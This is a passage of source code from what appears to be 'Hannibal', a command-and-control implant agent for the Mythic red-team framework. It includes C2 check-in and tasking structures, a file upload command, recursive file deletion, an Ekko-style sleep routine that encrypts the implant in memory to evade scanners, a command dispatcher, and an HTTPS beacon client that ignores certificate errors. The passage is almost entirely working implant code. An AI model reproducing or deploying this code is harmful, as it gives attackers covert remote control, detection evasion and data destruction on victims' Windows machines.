*external_ip; 144 | WCHAR *encryption_key; 145 | WCHAR *decryption_key; 146 | WCHAR *process_name; 147 | } CheckinMessage; 148 | 149 | typedef struct _CheckinMessageResponse { 150 | char *uuid; 151 | UINT8 status; 152 | } CheckinMessageResponse; 153 | 154 | typedef struct _GetTasksMessage { 155 | UINT8 action; 156 | UINT8 tasking_size; // Should be an int for -1, but we're going to say 0 means get all tasks. 157 | UINT8 get_delegate_tasks; // For the moment pivot agents not supported 158 | } GetTasksMessage; 159 | 160 | typedef struct _SERIALIZE_POST_TASKS_INFO { 161 | UINT8 *buffer; 162 | int buffer_size; 163 | } SERIALIZE_POST_TASKS_INFO; 164 | 165 | typedef struct _MYTHIC_HTTP_ENCRYPTION_MSG { 166 | char *buffer; 167 | int buffer_size; 168 | } MYTHIC_HTTP_ENCRYPTION_MSG; 169 | 170 | UINT8* serialize_checkin(const CheckinMessage *message, UINT32 *outputSize); 171 | CheckinMessageResponse* deserialize_checkin_reponse(UINT8 *buffer); 172 | 173 | UINT8* serialize_get_tasking_msg(const GetTasksMessage *message, UINT32 *output_size); 174 | void deserialize_get_tasks_response(char *buffer); 175 | 176 | SERIALIZE_POST_TASKS_INFO serialize_post_tasks(UINT8 *buffer, int buffer_size, LPCSTR task_uuid); 177 | UINT8 deserialize_post_tasks_response(char *buffer); 178 | 179 | 180 | #ifdef INCLUDE_CMD_DOWNLOAD 181 | void mythic_http_start_file_download(FILE_DOWNLOAD *download); 182 | void mythic_http_continue_file_downloads(); 183 | #endif 184 | 185 | #ifdef INCLUDE_CMD_UPLOAD 186 | void mythic_http_start_file_upload(FILE_UPLOAD *upload); 187 | void mythic_http_continue_file_uploads(); 188 | #endif 189 | 190 | 191 | MYTHIC_HTTP_ENCRYPTION_MSG mythic_http_aes_encrypt(uint8_t *buffer, int buffer_size); 192 | MYTHIC_HTTP_ENCRYPTION_MSG mythic_http_aes_decrypt(uint8_t *buffer, int buffer_size); 193 | 194 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/upload.py: -------------------------------------------------------------------------------- 1 | # Borrowed from https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/upload.py 2 | from mythic_container.MythicCommandBase import * 3 | import json 4 | from mythic_container.MythicRPC import * 5 | import sys 6 | import re 7 | 8 | 9 | class UploadArguments(TaskArguments): 10 | 11 | def __init__(self, command_line, **kwargs): 12 | super().__init__(command_line, **kwargs) 13 | self.args = [ 14 | CommandParameter( 15 | name="remote_path", 16 | cli_name="Path", 17 | display_name="Path With Filename", 18 | type=ParameterType.String, 19 | description="Path to write the file on the target. If empty, defaults to current working directory.", 20 | parameter_group_info=[ 21 | ParameterGroupInfo( 22 | required=False, 23 | ), 24 | ], 25 | ), 26 | CommandParameter( 27 | name="file", 28 | cli_name="File", 29 | display_name="File", 30 | type=ParameterType.File, 31 | ), 32 | ] 33 | 34 | async def parse_dictionary(self, dictionary_arguments): 35 | self.load_args_from_dictionary(dictionary_arguments) 36 | if "host" in dictionary_arguments: 37 | if "full_path" in dictionary_arguments: 38 | self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') 39 | elif "path" in dictionary_arguments: 40 | self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') 41 | elif "file" in dictionary_arguments: 42 | self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') 43 | else: 44 | logger.info("unknown dictionary args") 45 | 46 | async def parse_arguments(self): 47 | if len(self.command_line) == 0: 48 | raise Exception("Require arguments.") 49 | if self.command_line[0] != "{": 50 | raise Exception("Require JSON blob, but got raw command line.") 51 | self.load_args_from_json_string(self.command_line) 52 | remote_path = self.get_arg("remote_path") 53 | if remote_path != "" and remote_path is not None: 54 | remote_path = remote_path.strip() 55 | if remote_path[0] == '"' and remote_path[-1] == '"': 56 | remote_path = remote_path[1:-1] 57 | elif remote_path[0] == "'" and remote_path[-1] == "'": 58 | remote_path = remote_path[1:-1] 59 | self.add_arg("remote_path", remote_path) 60 | 61 | # TODO: Check on how to remove file after fetch 62 | # https://github.com/MythicMeta/MythicContainer/blob/main/mythicrpc/send_mythic_rpc_file_update.go 63 | class UploadCommand(CommandBase): 64 | cmd = "upload" 65 | needs_admin = False 66 | help_cmd = "upload (modal popup)" 67 | description = "Upload a file from the Mythic server to the remote host." 68 | version = 2 69 | supported_ui_features = [] 70 | author = "@djhohnstein" 71 | argument_class = UploadArguments 72 | attackmapping = [] 73 | attributes = CommandAttributes(suggested_command=True) 74 | 75 | async def create_go_tasking( 76 | self, taskData: PTTaskMessageAllData 77 | ) -> PTTaskCreateTaskingMessageResponse: 78 | response = PTTaskCreateTaskingMessageResponse( 79 | TaskID=taskData.Task.ID, 80 | Success=True, 81 | ) 82 | file_resp = await SendMythicRPCFileSearch( 83 | MythicRPCFileSearchMessage( 84 | TaskID=taskData.Task.ID, AgentFileID=taskData.args.get_arg("file") 85 | ) 86 | ) 87 | if file_resp.Success: 88 | original_file_name = file_resp.Files[0].Filename 89 | else: 90 | raise Exception( 91 | "Failed to fetch uploaded file from Mythic (ID: {})".format( 92 | taskData.args.get_arg("file") 93 | ) 94 | ) 95 | 96 | taskData.args.add_arg( 97 | "file_name", original_file_name, type=ParameterType.String 98 | ) 99 | 100 | path = taskData.args.get_arg("remote_path") 101 | 102 | if uncmatch := re.match( 103 | r"^\\\\(?P[^\\]+)\\(?P.*)$", 104 | path, 105 | ): 106 | taskData.args.add_arg("host", uncmatch.group("host")) 107 | taskData.args.set_arg("remote_path", uncmatch.group("path")) 108 | else: 109 | # Set the host argument to an empty string if it does not exist 110 | taskData.args.add_arg("host", "") 111 | if host := taskData.args.get_arg("host"): 112 | host = host.upper() 113 | 114 | # Resolve 'localhost' and '127.0.0.1' aliases 115 | if host == "127.0.0.1" or host.lower() == "localhost": 116 | host = taskData.Callback.Host 117 | 118 | taskData.args.set_arg("host", host) 119 | if path is not None and path != "": 120 | if host is not None and host != "": 121 | disp_str = "-File {} -Host {} -Path {}".format( 122 | original_file_name, taskData.args.get_arg("host"), taskData.args.get_arg("remote_path") 123 | ) 124 | else: 125 | disp_str = "-File {} -Path {}".format(original_file_name, taskData.args.get_arg("remote_path")) 126 | else: 127 | disp_str = "-File {}".format(original_file_name) 128 | response.DisplayParams = disp_str 129 | return response 130 | 131 | async def process_response( 132 | self, task: PTTaskMessageAllData, response: any 133 | ) -> PTTaskProcessResponseMessageResponse: 134 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 135 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_rm.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_RM 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | SECTION_CODE void delete_directory(LPCWSTR path) 9 | { 10 | HANNIBAL_INSTANCE_PTR 11 | 12 | WIN32_FIND_DATAW findData; 13 | HANDLE hFind; 14 | 15 | WCHAR searchPath[MAX_PATH]; 16 | for (int i = 0; path[i] != L'\0'; i++) { 17 | searchPath[i] = path[i]; 18 | } 19 | searchPath[pic_strlenW(path)] = L'\\'; 20 | searchPath[pic_strlenW(path) + 1] = L'*'; 21 | searchPath[pic_strlenW(path) + 2] = L'\0'; 22 | 23 | hFind = hannibal_instance_ptr->Win32.FindFirstFileW(searchPath, &findData); 24 | if (hFind != INVALID_HANDLE_VALUE) { 25 | do { 26 | if (findData.cFileName[0] != L'.' || 27 | (findData.cFileName[1] != L'\0' && findData.cFileName[1] != L'.')) { 28 | WCHAR fullPath[MAX_PATH]; 29 | 30 | int len = 0; 31 | for (int i = 0; path[i] != L'\0'; i++) { 32 | fullPath[len++] = path[i]; 33 | } 34 | fullPath[len++] = L'\\'; 35 | for (int i = 0; findData.cFileName[i] != L'\0'; i++) { 36 | fullPath[len++] = findData.cFileName[i]; 37 | } 38 | fullPath[len] = L'\0'; 39 | 40 | if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { 41 | delete_directory(fullPath); 42 | hannibal_instance_ptr->Win32.RemoveDirectoryW(fullPath); 43 | } else { 44 | hannibal_instance_ptr->Win32.DeleteFileW(fullPath); 45 | } 46 | } 47 | } while (hannibal_instance_ptr->Win32.FindNextFileW(hFind, &findData) != 0); 48 | hannibal_instance_ptr->Win32.FindClose(hFind); 49 | } 50 | } 51 | 52 | SECTION_CODE void delete_files_by_pattern(LPCWSTR directory, LPCWSTR pattern) 53 | { 54 | HANNIBAL_INSTANCE_PTR 55 | 56 | WIN32_FIND_DATAW findData; 57 | HANDLE hFind; 58 | 59 | WCHAR searchPath[MAX_PATH]; 60 | int len = 0; 61 | 62 | while (directory[len] != L'\0') { 63 | searchPath[len] = directory[len]; 64 | len++; 65 | } 66 | 67 | searchPath[len++] = L'\\'; 68 | while (*pattern != L'\0') { 69 | searchPath[len++] = *pattern++; 70 | } 71 | searchPath[len] = L'\0'; 72 | 73 | hFind = hannibal_instance_ptr->Win32.FindFirstFileW(searchPath, &findData); 74 | 75 | if (hFind != INVALID_HANDLE_VALUE) { 76 | do { 77 | if (findData.cFileName[0] != L'.' || 78 | (findData.cFileName[1] != L'\0' && findData.cFileName[1] != L'.')) { 79 | WCHAR fullPath[MAX_PATH]; 80 | 81 | int pathLen = 0; 82 | while (directory[pathLen] != L'\0') { 83 | fullPath[pathLen] = directory[pathLen]; 84 | pathLen++; 85 | } 86 | fullPath[pathLen++] = L'\\'; 87 | 88 | int fileNameLen = 0; 89 | while (findData.cFileName[fileNameLen] != L'\0') { 90 | fullPath[pathLen++] = findData.cFileName[fileNameLen++]; 91 | } 92 | fullPath[pathLen] = L'\0'; 93 | 94 | hannibal_instance_ptr->Win32.DeleteFileW(fullPath); 95 | } 96 | } while (hannibal_instance_ptr->Win32.FindNextFileW(hFind, &findData) != 0); 97 | hannibal_instance_ptr->Win32.FindClose(hFind); 98 | } 99 | 100 | } 101 | 102 | 103 | SECTION_CODE int contains_wildcard(LPCWSTR path) 104 | { 105 | while (*path != L'\0') { 106 | if (*path == L'*' || *path == L'?') { 107 | return 1; // Wildcard found 108 | } 109 | path++; 110 | } 111 | return 0; // No wildcards 112 | } 113 | 114 | /** 115 | * Be careful using this as it automatically recursively deletes directories. 116 | */ 117 | SECTION_CODE void cmd_rm(TASK t) 118 | { 119 | HANNIBAL_INSTANCE_PTR 120 | 121 | CMD_RM *rm = (CMD_RM *)t.cmd; 122 | 123 | LPCWSTR path = rm->path; 124 | 125 | 126 | if (contains_wildcard(path)) { 127 | WCHAR directory[MAX_PATH]; 128 | WCHAR pattern[MAX_PATH]; 129 | 130 | int i = 0; 131 | while (path[i] != L'\0' && path[i] != L'*' && path[i] != L'?') { 132 | directory[i] = path[i]; 133 | i++; 134 | } 135 | directory[i] = L'\0'; 136 | 137 | int j = 0; 138 | while (path[i] != L'\0') { 139 | pattern[j++] = path[i++]; 140 | } 141 | pattern[j] = L'\0'; 142 | 143 | delete_files_by_pattern(directory, pattern); 144 | } else { 145 | DWORD fileAttr = hannibal_instance_ptr->Win32.GetFileAttributesW(path); 146 | if (fileAttr == INVALID_FILE_ATTRIBUTES) { 147 | TASK response_t; 148 | LPCWSTR response_content = L"Path Does Not Exist"; 149 | response_t.output = (LPCSTR)response_content; 150 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 151 | response_t.task_uuid = t.task_uuid; 152 | 153 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 154 | 155 | hannibal_instance_ptr->Win32.VirtualFree(rm->path, 0, MEM_RELEASE); 156 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 157 | 158 | return; 159 | } 160 | if (fileAttr & FILE_ATTRIBUTE_DIRECTORY) { 161 | delete_directory(path); 162 | hannibal_instance_ptr->Win32.RemoveDirectoryW(path); 163 | } else { 164 | hannibal_instance_ptr->Win32.DeleteFileW(path); 165 | } 166 | } 167 | 168 | TASK response_t; 169 | 170 | LPCWSTR response_content = L"Command Issued"; 171 | 172 | response_t.output = (LPCSTR)response_content; 173 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 174 | response_t.task_uuid = t.task_uuid; 175 | 176 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 177 | 178 | hannibal_instance_ptr->Win32.VirtualFree(rm->path, 0, MEM_RELEASE); 179 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 180 | 181 | } 182 | 183 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_sleep_ekko.c: -------------------------------------------------------------------------------- 1 | // Pieces were taken from both: 2 | // Credit: https://github.com/Cracked5pider/Ekko 3 | // Credit: https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c 4 | 5 | 6 | /** 7 | * At the moment only the original Ekko POC is implemented. 8 | * The Havoc Demon agent has a more robust version with stack 9 | * evasions. TODO: Adapt full version and investigate other sleep methods. 10 | */ 11 | 12 | #include "utility_sleep_ekko.h" 13 | 14 | // SECTION_CODE BOOL EventSet( 15 | // IN HANDLE Event 16 | // ) { 17 | // HANNIBAL_INSTANCE_PTR 18 | 19 | // return NT_SUCCESS( hannibal_instance_ptr->Win32.NtSetEvent( Event, NULL ) ); 20 | // } 21 | 22 | 23 | SECTION_CODE void utility_sleep_ekko(ULONG TimeOut, ULONG Method) 24 | { 25 | HANNIBAL_INSTANCE_PTR 26 | 27 | // TODO: Test in a process compiled with CFG. 28 | CfgAddressAdd( hannibal_instance_ptr->Modules.Advapi32, hannibal_instance_ptr->Win32.SystemFunction032 ); 29 | CfgAddressAdd( hannibal_instance_ptr->Modules.Kernel32, hannibal_instance_ptr->Win32.WaitForSingleObject ); 30 | CfgAddressAdd( hannibal_instance_ptr->Modules.Kernel32, hannibal_instance_ptr->Win32.VirtualProtect ); 31 | CfgAddressAdd( hannibal_instance_ptr->Modules.Ntdll, hannibal_instance_ptr->Win32.NtContinue ); 32 | // CfgAddressAdd( hannibal_instance_ptr->Modules.Ntdll, hannibal_instance_ptr->Win32.NtSetEvent ); 33 | CfgAddressAdd( hannibal_instance_ptr->Modules.Ntdll, hannibal_instance_ptr->Win32.RtlCaptureContext ); 34 | 35 | 36 | CONTEXT CtxThread = { 0 }; 37 | CONTEXT RopProtRW = { 0 }; 38 | CONTEXT RopMemEnc = { 0 }; 39 | CONTEXT RopDelay = { 0 }; 40 | CONTEXT RopMemDec = { 0 }; 41 | CONTEXT RopProtRX = { 0 }; 42 | CONTEXT RopSetEvt = { 0 }; 43 | HANDLE hTimerQueue = NULL; 44 | HANDLE hNewTimer = NULL; 45 | HANDLE hEvent = NULL; 46 | PVOID ImageBase = NULL; 47 | DWORD ImageSize = 0; 48 | DWORD OldProtect = 0; 49 | BOOL Success = { 0 }; 50 | 51 | USTRING Key = { 0 }; 52 | USTRING Img = { 0 }; 53 | 54 | PVOID NtContinue = NULL; 55 | PVOID SysFunc032 = NULL; 56 | 57 | hEvent = hannibal_instance_ptr->Win32.CreateEventW( 0, 0, 0, 0 ); 58 | hTimerQueue = hannibal_instance_ptr->Win32.CreateTimerQueue(); 59 | 60 | NtContinue = hannibal_instance_ptr->Win32.NtContinue; 61 | 62 | // TODO To avoid GetProcAddress see LdrFunctionAddr in Demon src\core\Win32.c 63 | // Handles forwarded functions 64 | 65 | SysFunc032 = hannibal_instance_ptr->Win32.SystemFunction032; 66 | 67 | ImageBase = hannibal_instance_ptr->Base.Buffer; 68 | ImageSize = hannibal_instance_ptr->Base.Length; 69 | 70 | Key.Buffer = hannibal_instance_ptr->config.local_encryption_key; 71 | Key.Length = Key.MaximumLength = LOCAL_ENCRYPT_KEY_SIZE; 72 | 73 | Img.Buffer = ImageBase; 74 | Img.Length = Img.MaximumLength = ImageSize; 75 | 76 | if ( hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, hannibal_instance_ptr->Win32.RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) 77 | { 78 | hannibal_instance_ptr->Win32.WaitForSingleObject( hEvent, 0x32 ); 79 | 80 | pic_memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); 81 | pic_memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); 82 | pic_memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); 83 | pic_memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); 84 | pic_memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); 85 | pic_memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); 86 | 87 | // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); 88 | RopProtRW.Rsp -= 8; 89 | RopProtRW.Rip = hannibal_instance_ptr->Win32.VirtualProtect; 90 | RopProtRW.Rcx = ImageBase; 91 | RopProtRW.Rdx = ImageSize; 92 | RopProtRW.R8 = PAGE_READWRITE; 93 | RopProtRW.R9 = &OldProtect; 94 | 95 | // SysFunc032( &Key, &Img ); 96 | RopMemEnc.Rsp -= 8; 97 | RopMemEnc.Rip = SysFunc032; 98 | RopMemEnc.Rcx = &Img; 99 | RopMemEnc.Rdx = &Key; 100 | 101 | // WaitForSingleObject( hTargetHdl, SleepTime ); 102 | RopDelay.Rsp -= 8; 103 | RopDelay.Rip = hannibal_instance_ptr->Win32.WaitForSingleObject; 104 | RopDelay.Rcx = NtCurrentProcess(); 105 | RopDelay.Rdx = TimeOut; 106 | 107 | // SysFunc032( &Key, &Img ); 108 | RopMemDec.Rsp -= 8; 109 | RopMemDec.Rip = SysFunc032; 110 | RopMemDec.Rcx = &Img; 111 | RopMemDec.Rdx = &Key; 112 | 113 | // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); 114 | RopProtRX.Rsp -= 8; 115 | RopProtRX.Rip = hannibal_instance_ptr->Win32.VirtualProtect; 116 | RopProtRX.Rcx = ImageBase; 117 | RopProtRX.Rdx = ImageSize; 118 | RopProtRX.R8 = PAGE_EXECUTE_READWRITE; 119 | RopProtRX.R9 = &OldProtect; 120 | 121 | // SetEvent( hEvent ); 122 | RopSetEvt.Rsp -= 8; 123 | RopSetEvt.Rip = hannibal_instance_ptr->Win32.SetEvent; 124 | RopSetEvt.Rcx = hEvent; 125 | 126 | BOOL status; 127 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); 128 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); 129 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); 130 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); 131 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); 132 | status = hannibal_instance_ptr->Win32.CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); 133 | 134 | hannibal_instance_ptr->Win32.WaitForSingleObject( hEvent, INFINITE ); 135 | 136 | } 137 | 138 | hannibal_instance_ptr->Win32.DeleteTimerQueue( hTimerQueue ); 139 | 140 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/hannibal_tasking.c: -------------------------------------------------------------------------------- 1 | #include "hannibal_tasking.h" 2 | 3 | 4 | /** 5 | * @brief Helper function to submit a response into the task_response queue 6 | * 7 | * @param[in] message A pointer to the wide-character string containing the message 8 | * to be submitted as the response. 9 | * @param[in] task_uuid A pointer to a string containing the unique task identifier 10 | * to associate with the response. The memory for this UUID 11 | * is managed elsewhere (freed in `mythic_http_post_tasks()`). 12 | * 13 | * @return void 14 | */ 15 | SECTION_CODE void hannibal_response(LPCWSTR message, LPCSTR task_uuid) 16 | { 17 | HANNIBAL_INSTANCE_PTR 18 | 19 | size_t msg_size = pic_strlenW(message)*sizeof(WCHAR) + 2; 20 | WCHAR *response_content = (WCHAR *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, msg_size, MEM_COMMIT, PAGE_READWRITE); 21 | 22 | for (int i = 0; i < msg_size; i++) { 23 | response_content[i] = message[i]; 24 | } 25 | 26 | TASK response_t; 27 | response_t.output = (LPCSTR)response_content; 28 | response_t.output_size = (pic_strlenW(response_content) + 1) * sizeof(WCHAR); 29 | response_t.task_uuid = task_uuid; // Freed in mythic_http_post_tasks() 30 | 31 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 32 | 33 | return; 34 | } 35 | 36 | 37 | SECTION_CODE BOOL init_task_queue(TASK_QUEUE *queue_ptr, int capacity) 38 | { 39 | 40 | HANNIBAL_INSTANCE_PTR 41 | 42 | queue_ptr->capacity = capacity; 43 | // Doesn't get freed. Queue stays for lifetime of agent 44 | queue_ptr->queue_ptr = (TASK *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(TASK) * queue_ptr->capacity, MEM_COMMIT, PAGE_READWRITE); 45 | 46 | if (queue_ptr->queue_ptr == NULL){ 47 | return FALSE; 48 | } 49 | 50 | queue_ptr->size = 0; 51 | queue_ptr->front = 0; 52 | queue_ptr->rear = -1; 53 | 54 | return TRUE; 55 | } 56 | 57 | SECTION_CODE BOOL init_task_response_queue(TASK_QUEUE *queue_ptr, int capacity) 58 | { 59 | 60 | HANNIBAL_INSTANCE_PTR 61 | 62 | queue_ptr->capacity = capacity; 63 | // Doesn't get freed. Queue stays for lifetime of agent 64 | queue_ptr->queue_ptr = (TASK *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(TASK) * queue_ptr->capacity, MEM_COMMIT, PAGE_READWRITE); 65 | 66 | if (queue_ptr->queue_ptr == NULL){ 67 | return FALSE; 68 | } 69 | 70 | queue_ptr->size = 0; 71 | queue_ptr->front = 0; 72 | queue_ptr->rear = -1; 73 | 74 | return TRUE; 75 | } 76 | 77 | SECTION_CODE BOOL task_enqueue(TASK_QUEUE *queue_struct, TASK *TASK) 78 | { 79 | if (queue_struct->size == queue_struct->capacity){ 80 | return FALSE; 81 | } 82 | 83 | queue_struct->rear = (queue_struct->rear + 1) % queue_struct->capacity; // Ensure wrap-around 84 | queue_struct->queue_ptr[queue_struct->rear] = *TASK; 85 | queue_struct->size++; 86 | return TRUE; 87 | 88 | } 89 | 90 | SECTION_CODE BOOL task_dequeue(TASK_QUEUE *queue_struct, TASK *TASK) 91 | { 92 | 93 | HANNIBAL_INSTANCE_PTR 94 | 95 | if (queue_struct->size == 0){ 96 | return FALSE; 97 | } 98 | 99 | *TASK = queue_struct->queue_ptr[queue_struct->front]; 100 | 101 | queue_struct->front = (queue_struct->front + 1) % queue_struct->capacity; 102 | queue_struct->size--; 103 | 104 | return TRUE; 105 | } 106 | 107 | /** 108 | * @brief This initializes all the pointers to the commands compiled into the agent. 109 | * @return void 110 | */ 111 | SECTION_CODE void init_task_ptrs() 112 | { 113 | HANNIBAL_INSTANCE_PTR 114 | 115 | // Add your new cmd here and the other declarations in hannibal_tasking.h + your profile header 116 | TASK_ENTRY task_ptrs[] = { 117 | #ifdef INCLUDE_CMD_LS 118 | {.cmd_id = CMD_LS_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_ls)}, 119 | #endif 120 | #ifdef INCLUDE_CMD_EXIT 121 | {.cmd_id = CMD_EXIT_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_exit)}, 122 | #endif 123 | #ifdef INCLUDE_CMD_EXECUTE_HBIN 124 | {.cmd_id = CMD_EXECUTE_HBIN_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_execute_hbin)}, 125 | #endif 126 | #ifdef INCLUDE_CMD_RM 127 | {.cmd_id = CMD_RM_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_rm)}, 128 | #endif 129 | #ifdef INCLUDE_CMD_PWD 130 | {.cmd_id = CMD_PWD_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_pwd)}, 131 | #endif 132 | #ifdef INCLUDE_CMD_CD 133 | {.cmd_id = CMD_CD_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_cd)}, 134 | #endif 135 | #ifdef INCLUDE_CMD_CP 136 | {.cmd_id = CMD_CP_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_cp)}, 137 | #endif 138 | #ifdef INCLUDE_CMD_MV 139 | {.cmd_id = CMD_MV_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_mv)}, 140 | #endif 141 | #ifdef INCLUDE_CMD_HOSTNAME 142 | {.cmd_id = CMD_HOSTNAME_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_hostname)}, 143 | #endif 144 | #ifdef INCLUDE_CMD_WHOAMI 145 | {.cmd_id = CMD_WHOAMI_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_whoami)}, 146 | #endif 147 | #ifdef INCLUDE_CMD_MKDIR 148 | {.cmd_id = CMD_MKDIR_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_mkdir)}, 149 | #endif 150 | #ifdef INCLUDE_CMD_PS 151 | {.cmd_id = CMD_PS_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_ps)}, 152 | #endif 153 | #ifdef INCLUDE_CMD_IPINFO 154 | {.cmd_id = CMD_IPINFO_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_ipinfo)}, 155 | #endif 156 | #ifdef INCLUDE_CMD_LISTDRIVES 157 | {.cmd_id = CMD_LISTDRIVES_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_listdrives)}, 158 | #endif 159 | #ifdef INCLUDE_CMD_EXECUTE 160 | {.cmd_id = CMD_EXECUTE_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_execute)}, 161 | #endif 162 | #ifdef INCLUDE_CMD_SLEEP 163 | {.cmd_id = CMD_SLEEP_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_sleep)}, 164 | #endif 165 | #ifdef INCLUDE_CMD_AGENTINFO 166 | {.cmd_id = CMD_AGENTINFO_MESSAGE, .cmd_ptr = FUNC_OFFSET(cmd_agentinfo)}, 167 | #endif 168 | }; 169 | 170 | hannibal_instance_ptr->tasks.task_func_ptrs_size = sizeof(task_ptrs)/sizeof(TASK_ENTRY); 171 | hannibal_instance_ptr->tasks.task_func_ptrs = (TASK_ENTRY *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, sizeof(task_ptrs), MEM_COMMIT, PAGE_READWRITE); // Doesn't get freed. Stays for lifetime of agent 172 | 173 | if(hannibal_instance_ptr->tasks.task_func_ptrs == NULL){ 174 | return 1; 175 | } 176 | 177 | pic_memcpy(hannibal_instance_ptr->tasks.task_func_ptrs, task_ptrs, sizeof(task_ptrs)); 178 | 179 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_http_wininet.c: -------------------------------------------------------------------------------- 1 | 2 | #include "utility_http_wininet.h" 3 | 4 | /** 5 | * @brief Uses WININET to send an HTTPS POST and receives the response. Ignores cert errors. 6 | * 7 | * Note: You will need to ensure you free the buffer returned by this function. 8 | * 9 | * @param[in] msg A struct containing various HTTP parameters. 10 | * 11 | * @return from_utility_http_wininet_msg A struct with a heap allocated buffer containing the raw response and its size. 12 | */ 13 | SECTION_CODE from_utility_http_wininet_msg http_wininet_request(to_utility_http_wininet_msg msg){ 14 | 15 | HANNIBAL_INSTANCE_PTR 16 | 17 | DWORD SEND_TIMEOUT = 30000; 18 | DWORD RECEIVE_TIMEOUT = 30000; 19 | 20 | 21 | HINTERNET hInternet = hannibal_instance_ptr->Win32.InternetOpenW( 22 | msg.user_agent, 23 | INTERNET_OPEN_TYPE_PRECONFIG, 24 | NULL, 25 | NULL, 26 | 0 27 | ); 28 | 29 | // HTTPS 30 | HINTERNET hConnect = hannibal_instance_ptr->Win32.InternetConnectW( 31 | hInternet, 32 | msg.dst_host, // HOST 33 | INTERNET_DEFAULT_HTTPS_PORT, 34 | L"", 35 | L"", 36 | INTERNET_SERVICE_HTTP, 37 | 0, 38 | 0 39 | ); 40 | 41 | HINTERNET hHttpFile = hannibal_instance_ptr->Win32.HttpOpenRequestW( 42 | hConnect, 43 | msg.http_method, 44 | msg.dst_url, 45 | NULL, 46 | NULL, 47 | NULL, 48 | INTERNET_FLAG_SECURE | 49 | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | 50 | INTERNET_FLAG_IGNORE_CERT_CN_INVALID, 51 | NULL 52 | ); 53 | 54 | // HTTP 55 | // HINTERNET hConnect = hannibal_instance_ptr->Win32.InternetConnectW( 56 | // hInternet, 57 | // msg.dst_host, // HOST 58 | // INTERNET_DEFAULT_HTTP_PORT, 59 | // L"", 60 | // L"", 61 | // INTERNET_SERVICE_HTTP, 62 | // 0, 63 | // 0 64 | // ); 65 | 66 | // HINTERNET hHttpFile = hannibal_instance_ptr->Win32.HttpOpenRequestW( 67 | // hConnect, 68 | // msg.http_method, // METHOD 69 | // 